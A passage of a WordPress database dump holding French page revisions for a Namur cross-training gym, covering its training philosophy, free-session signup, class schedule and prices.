assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:17:51', '2013-07-04 19:17:51', '', 5, 'http://www.crosstrainingcenter.be/5-revision-57/', 0, 'revision', '', 0),
(312, 1, '2013-07-04 19:21:55', '2013-07-04 19:21:55', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center de Namur vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:21:55', '2013-07-04 19:21:55', '', 5, 'http://www.crosstrainingcenter.be/5-revision-58/', 0, 'revision', '', 0),
(313, 1, '2013-07-04 19:24:32', '2013-07-04 19:24:32', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center de Namur vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:24:32', '2013-07-04 19:24:32', '', 5, 'http://www.crosstrainingcenter.be/5-revision-59/', 0, 'revision', '', 0),
(314, 1, '2013-07-04 19:25:05', '2013-07-04 19:25:05', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center de Namur vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress, tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:25:05', '2013-07-04 19:25:05', '', 5, 'http://www.crosstrainingcenter.be/5-revision-60/', 0, 'revision', '', 0),
(315, 1, '2013-07-03 20:48:33', '2013-07-03 20:48:33', '&lt;h1&gt;Une séance gratuite?&lt;/h1&gt;\r\nEnvie de découvrir les bienfaits du cross training?\r\nNous vous offrons gratuitement une première séance.\r\nRemplissez le formulaire ci-dessous et nous vous recontacterons pour planifier, avec vous, votre première séance. \r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-07-03 20:48:33', '2013-07-03 20:48:33', '', 266, 'http://www.crosstrainingcenter.be/266-revision-5/', 0, 'revision', '', 0),
(316, 1, '2013-07-04 19:33:16', '2013-07-04 19:33:16', '&lt;blockquote&gt;\r\n&lt;h1&gt;Envie de vous essayer au cross training?&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\nVenez nous rencontrer afin de découvrir le déroulement d\'une séance de cross training.\r\n\r\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre première séance gratuite.\r\n&lt;h1&gt;[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]&lt;/h1&gt;', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-07-04 19:33:16', '2013-07-04 19:33:16', '', 266, 'http://www.crosstrainingcenter.be/266-revision-6/', 0, 'revision', '', 0),
(319, 1, '2013-07-04 19:38:42', '2013-07-04 19:38:42', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Chaque séance est composée de 4 phases décrite dans le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 19:38:42', '2013-07-04 19:38:42', '', 11, 'http://www.crosstrainingcenter.be/11-revision-106/', 0, 'revision', '', 0),
(320, 1, '2013-07-04 19:39:35', '2013-07-04 19:39:35', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Chaque séance est composée de 4 phases décrite dans le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 